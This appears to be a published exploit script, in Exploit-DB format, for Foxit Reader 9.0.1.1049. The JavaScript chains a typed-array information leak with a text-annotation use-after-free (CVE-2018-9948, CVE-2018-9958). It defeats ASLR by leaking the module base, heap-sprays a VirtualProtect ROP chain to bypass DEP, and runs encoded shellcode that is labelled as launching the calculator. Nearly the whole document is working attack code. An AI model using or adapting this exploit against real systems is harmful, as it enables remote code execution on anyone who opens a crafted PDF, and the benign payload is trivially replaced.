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/*
# Exploit Title: Foxit Reader 9.0.1.1049 - Buffer Overflow (ASLR)(DEP)
# Date: 2018-08-04
# Exploit Author: Manoj Ahuje
# Tested on: Windows 7 Pro (x32)
# Software Link: https://www.foxitsoftware.com/downloads/latest.php?product=Foxit-Reader&platform=Windows&version=9.0.1.1049&package_type=exe&language=English
# Version: Foxit Reader 9.0.1.1049
# CVE: N/A
# Credits to "Mr_Me" for Reseach and initial exploit
#Details:
#This exploit make use heap space to store the shellcode in addition to UAF bypassing ASLRand DEP to get successful payload execution
*/
var heap_ptr= 0;
var foxit_base = 0;
function heap_spray(size){
var arr = new Array(size);
for (var i = 0; i < arr.length; i++) {
// re-claim and stack pivot-0x8
arr[i] = new ArrayBuffer(0x10000-0x8);//0xFFF8
var claimed = new Int32Array(arr[i]);
var c_length = claimed.length;
/* custom made ROP chain virtualalloc call
Author: Manoj Ahuje*/
claimed[0x00] = foxit_base + 0x01A65184; //# PUSH EAX # POP ESP # POP EDI # POP ESI # POP EBX # POP EBP # RETN
claimed[0x01] = foxit_base + 0x01A65184;
claimed[0x02] = foxit_base + 0x01A65184;
claimed[0x03] = foxit_base + 0x01A65184;
claimed[0x04] = foxit_base + 0x14f9195;// # POP EBX # RETN
claimed[0x05] = foxit_base + 0x41414141; //
claimed[0x06] = foxit_base + 0x1f224fc;// # ptr to &VirtualProtect()
claimed[0x07] = foxit_base + 0x0e70281;// # MOV ESI,DWORD PTR DS:[EBX] # RETN
claimed[0x08] = foxit_base + 0x1582698;// # POP EBP # RETN
claimed[0x09] = foxit_base + 0xa0dbd;// # & jmp esp
claimed[0x0a] = foxit_base + 0x14ed06d;// # POP EBX # RETN
claimed[0x0b] = 0x00000201;// # 0x00000201-> ebx
claimed[0x0c] = foxit_base + 0x1e62f7e;// # POP EDX # RETN
claimed[0x0d] = 0x00000040;// # 0x00000040-> edx
claimed[0x0e] = foxit_base + 0x1ec06a9;// # POP ECX # RETN
claimed[0x0f] = foxit_base + 0x29bac74;// # &Writable location
claimed[0x10] = foxit_base + 0xb971f;// # POP EDI # RETN
claimed[0x11] = foxit_base + 0x177769e;// # RETN (ROP NOP)
claimed[0x12] = foxit_base + 0x1A89808;// # POP EAX # RETN
claimed[0x13] = 0x90909090;// # nop
claimed[0x14] = foxit_base + 0x129d4f0;// # PUSHAD # RETN
claimed[0x15] = 0x90909090;
claimed[0x16] = 0x90909090;
claimed[0x17] = 0x90909090;
claimed[0x18] = 0x90909090;
claimed[0x19] = 0x90909090;
claimed[0x1a] = 0x90909090;
//regular CALCULATOR shellcode
claimed[0x1b] = 0xe5d9e389;
claimed[0x1c] = 0x5af473d9;
claimed[0x1d] = 0x4a4a4a4a;
claimed[0x1e] = 0x4a4a4a4a;
claimed[0x1f] = 0x434a4a4a;
claimed[0x20] = 0x43434343;
claimed[0x21] = 0x59523743;
claimed[0x22] = 0x5058416a;
claimed[0x23] = 0x41304130;
claimed[0x24] = 0x5141416b;
claimed[0x25] = 0x32424132;
claimed[0x26] = 0x42304242;
claimed[0x27] = 0x58424142;
claimed[0x28] = 0x42413850;
claimed[0x29] = 0x49494a75;
claimed[0x2a] = 0x4e586b6c;
claimed[0x2b] = 0x57306362;
claimed[0x2c] = 0x53707770;
claimed[0x2d] = 0x6b696e50;
claimed[0x2e] = 0x39716455;
claimed[0x2f] = 0x6e645050;
claimed[0x30] = 0x6470426b;
claimed[0x31] = 0x434b6c70;
claimed[0x32] = 0x6e6c3662;
claimed[0x33] = 0x7562436b;
claimed[0x34] = 0x526b6e44;
claimed[0x35] = 0x46686452;
claimed[0x36] = 0x5037386f;
claimed[0x37] = 0x6446764a;
claimed[0x38] = 0x4e4f4b71;
claimed[0x39] = 0x354c774c;
claimed[0x3a] = 0x776c6131;
claimed[0x3b] = 0x374c7672;
claimed[0x3c] = 0x5a614a50;
claimed[0x3d] = 0x374d746f;
claimed[0x3e] = 0x38573971;
claimed[0x3f] = 0x30525a62;
claimed[0x40] = 0x6e376652;
claimed[0x41] = 0x6252506b;
claimed[0x42] = 0x624b6c30;
claimed[0x43] = 0x6c4c576a;
claimed[0x44] = 0x476c524b;
claimed[0x45] = 0x6d387461;
claimed[0x46] = 0x43587133;
claimed[0x47] = 0x50513831;
claimed[0x48] = 0x334b6c51;
claimed[0x49] = 0x35506769;
claimed[0x4a] = 0x6e534851;
claimed[0x4b] = 0x7539576b;
claimed[0x4c] = 0x54736948;
claimed[0x4d] = 0x4e79637a;
claimed[0x4e] = 0x6c64356b;
claimed[0x4f] = 0x6a51354b;
claimed[0x50] = 0x39514676;
claimed[0x51] = 0x6f4c6e6f;
claimed[0x52] = 0x444f4831;
claimed[0x53] = 0x4861364d;
claimed[0x54] = 0x6b783447;
claimed[0x55] = 0x69357450;
claimed[0x56] = 0x73337366;
claimed[0x57] = 0x5568494d;
claimed[0x58] = 0x474d436b;
claimed[0x59] = 0x68357454;
claimed[0x5a] = 0x4e686364;
claimed[0x5b] = 0x6638466b;
claimed[0x5c] = 0x59313344;
claimed[0x5d] = 0x6c766143;
claimed[0x5e] = 0x506c664b;
claimed[0x5f] = 0x504b4c4b;
claimed[0x60] = 0x656c4758;
claimed[0x61] = 0x6c436951;
claimed[0x62] = 0x6e34634b;
claimed[0x63] = 0x6831436b;
claimed[0x64] = 0x61694e50;
claimed[0x65] = 0x65746554;
claimed[0x66] = 0x514b5174;
claimed[0x67] = 0x7351734b;
claimed[0x68] = 0x427a6269;
claimed[0x69] = 0x396f6971;
claimed[0x6a] = 0x734f5170;
claimed[0x6b] = 0x4e6a436f;
claimed[0x6c] = 0x7832526b;
claimed[0x6d] = 0x316d4e6b;
claimed[0x6e] = 0x675a534d;
claimed[0x6f] = 0x4f4d6c71;
claimed[0x70] = 0x57324875;
claimed[0x71] = 0x43707770;
claimed[0x72] = 0x61306630;
claimed[0x73] = 0x6e514678;
claimed[0x74] = 0x6e6f706b;
claimed[0x75] = 0x6b6f5967;
claimed[0x76] = 0x784b4f65;
claimed[0x77] = 0x39656d70;
claimed[0x78] = 0x73565032;
claimed[0x79] = 0x6c666c58;
claimed[0x7a] = 0x6d6d4d55;
claimed[0x7b] = 0x496f494d;
claimed[0x7c] = 0x456c6545;
claimed[0x7d] = 0x454c7356;
claimed[0x7e] = 0x6b306b5a;
claimed[0x7f] = 0x5370394b;
claimed[0x80] = 0x4d453445;
claimed[0x81] = 0x6567426b;
claimed[0x82] = 0x70426343;
claimed[0x83] = 0x376a506f;
claimed[0x84] = 0x6b336670;
claimed[0x85] = 0x3045694f;
claimed[0x86] = 0x72313563;
claimed[0x87] = 0x7633654c;
claimed[0x88] = 0x4235754e;
claimed[0x89] = 0x67354558;
claimed[0x8a] = 0x00414170;
for (var j = 0x8b; j < c_length; j++) {
claimed[j] = 0x6d616e6a;
}
}
}
function leak(){
/*
Foxit Reader Typed Array Uninitialized Pointer Information Disclosure Vulnerability
ZDI-CAN-5380 / ZDI-18-332 / CVE-2018-9948
Found By: bit from meepwn team
*/
// alloc
var a = this.addAnnot({type: "Text"});
// free
a.destroy();
// reclaim
var test = new ArrayBuffer(0x60);
var stolen = new Int32Array(test);
// leak the vftable
var leaked = stolen[0] & 0xffff0000;
// a hard coded offset to FoxitReader.exe base v9.0.1.1049 (sha1: a01a5bde0699abda8294d73544a1ec6b4115fa68)
foxit_base = leaked-0x01f50000;
}
function reclaim(){
var arr = new Array(0x10);
for (var i = 0; i < arr.length; i++) {
arr[i] = new ArrayBuffer(0x60);
var rop = new Int32Array(arr[i]);
rop[0x00] = 0x11000048;
for (var j = 0x01; j < rop.length; j++) {
rop[j] = 0x71727374;
}
}
}
function trigger_uaf(){
/*
Foxit Reader Text Annotations point Use-After-Free Remote Code Execution Vulnerability
ZDI-CAN-5620 / ZDI-18-342 / CVE-2018-9958
Found By: Steven Seeley (mr_me) of Source Incite
*/
var that = this;
var a = this.addAnnot({type:"Text", page: 0, name:"uaf"});
var arr = [1];
Object.defineProperties(arr,{
"0":{
get: function () {
// free
that.getAnnot(0, "uaf").destroy();
// reclaim freed memory
reclaim();
return 1;
}
}
});
a.point = arr;
}
leak();
heap_spray(0x1000);
trigger_uaf();
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